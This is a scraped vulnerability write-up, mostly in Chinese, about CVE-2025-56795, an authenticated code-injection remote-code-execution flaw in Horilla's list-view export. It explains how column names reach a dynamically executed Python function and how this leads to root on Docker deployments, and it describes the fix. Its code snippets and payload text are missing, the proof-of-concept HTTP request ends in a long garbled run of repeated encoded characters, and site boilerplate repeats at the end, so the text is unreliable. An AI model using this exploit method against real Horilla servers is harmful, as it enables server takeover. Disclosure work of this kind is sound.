Authenticated RCE in Horilla List-View Export via Code Injection (CVE-2025-56795)

脆弱性总结：Horilla List-View 导出功能认证后远程代码执行 (RCE) 1. 脆弱性概述 脆弱性名称：Horilla List-View 导出功能认证后远程代码执行 (Authenticated RCE in Horilla List-View Export) 脆弱性类型：代码注入 (Code Injection) / 远程代码执行 (RCE) 严重等级：高危 (High) CVSS 评分：8.8 / 10 CVE 编号：CVE-2025-56795 原理简述： 该脆弱性存在于 Horilla 的列表视图导出功能中。后端在处理导出请求时，将用户提交的 参数直接拼接到 Python 源代码字符串中，并传递给 函数执行。 虽然使用了 进行校验，但该函数仅确保输入是合法的 Python 字面量（如字符串），无法阻止字符串内部包含恶意 Python 语法。攻击者可以构造特殊的列名（Column Name），利用 等内置函数执行系统命令。 2. 影响范围 受影响软件：Horilla (https://github.com/horilla/horilla-hr) 受影响版本： 攻击条件： 需要认证（Authenticated）。 攻击者只需拥有普通用户权限（Low-privileged user），无需管理员或特殊权限。 危害： 攻击者可以在服务器端执行任意系统命令。 由于 Horilla 的 Docker 镜像默认以 权限运行，这导致攻击者可以获得服务器 root 权限，完全控制服务器。 3. 修复方案 修复版本： 修复措施： 移除了 函数中基于用户输入动态生成并执行代码（ ）的逻辑。 不再使用用户提供的列名直接构建动态函数。 4. POC 代码与利用细节 脆弱性代码片段 (Source Code) 文件: 函数: 攻击载荷 (Payload) 攻击者通过构造特殊的列名（Column Identifier）进行注入。该字符串本身是合法的 Python 字面量，但包含恶意代码。 注入的列名值: 注入后的代码逻辑: 当上述字符串被拼接到生成的函数定义中时，代码变成了： 注意： 是默认参数，在函数定义时（即 执行时）立即求值，从而触发 命令执行。 利用请求 (HTTP Request) Step 1: 使用普通低权限用户登录。 Step 2: 发送包含恶意 参数的 POST 请求。 ```http POST /export-list-view-hlvf593/ HTTP/1.1 Host: localhost:8000 User-Agent: curl/8.7.1 Accept: / Cookie: sessionid=p57z9tln12u3zq9p0q8j9w6y5fzndf; csrftoken=PW7P5uJ1QhBj2qI3nvCqFa91t5q04R Http-Referer: http://localhost:8000/project/tasks-list-view/ Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: keep-alive id=x%3B%5D%26format=csv&csrfmiddlewaretoken=PW7P5uJ1QhBj2qI3nvCqFa91t5q04R&columns=%5B%2B%27%3B%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%

目標達成すべての支援者に感謝 — 100%達成しました！

Authenticated RCE in Horilla List-View Export via Code Injection (CVE-2025-56795)

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

Authenticated RCE in Horilla List-View Export via Code Injection (CVE-2025-56795)

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！